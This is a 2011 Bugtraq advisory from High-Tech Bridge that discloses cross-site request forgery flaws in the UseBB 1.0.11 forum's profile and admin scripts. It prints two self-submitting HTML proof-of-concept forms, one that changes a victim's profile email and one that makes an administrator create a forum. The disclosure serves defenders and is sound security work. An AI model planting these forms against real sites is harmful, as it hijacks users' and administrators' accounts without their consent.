bugtraq - HTB22913: Multiple CSRF (Cross-Site Request Forgery) in UseBB

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Message-Id: <201104050933.p359XhEr046456@htbridge.ch>
Date: Tue, 5 Apr 2011 11:33:43 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22913: Multiple CSRF (Cross-Site Request Forgery) in UseBB

Vulnerability ID: HTB22913
Reference: http://www.htbridge.ch/advisory/multiple_csrf_cross_site_request_forgery_in_usebb.html
Product: UseBB
Vendor: UseBB ( http://www.usebb.net/ ) 
Vulnerable Version: 1.0.11
Vendor Notification: 22 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/panel.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of 

sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html]
<form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="123">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<input type="hidden" name="location" value="">
<input type="hidden" name="website" value="">
<input type="hidden" name="occupation" value="">
<input type="hidden" name="interests" value="">
<input type="hidden" name="signature" value="">
<input type="hidden" name="email" value="test@...t.com">
<input type="hidden" name="msnm" value="">
<input type="hidden" name="yahoom" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="jabber" value="">
<input type="hidden" name="skype" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>
[/html]

The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request.
Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html]
<form action="http://[host]/admin.php?act=forums&do=add" method="post" name="main" id="main">
<input type="hidden" name="name" value="123">
<input type="hidden" name="cat_id" value="1">
<input type="hidden" name="descr" value="">
<input type="hidden" name="status" value="1">
<input type="hidden" name="moderators" value="">
<input type="hidden" name="increase_post_count" value="1">
<input type="hidden" name="auto_lock" value="">
<input type="hidden" name="auth0" value="0">
<input type="hidden" name="auth1" value="0">
<input type="hidden" name="auth2" value="0">
<input type="hidden" name="auth3" value="0">
<input type="hidden" name="auth4" value="0">
<input type="hidden" name="auth5" value="0">
<input type="hidden" name="auth6" value="0">
<input type="hidden" name="auth7" value="0">
<input type="hidden" name="auth8" value="0">
<input type="hidden" name="auth9" value="0">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>
[/html]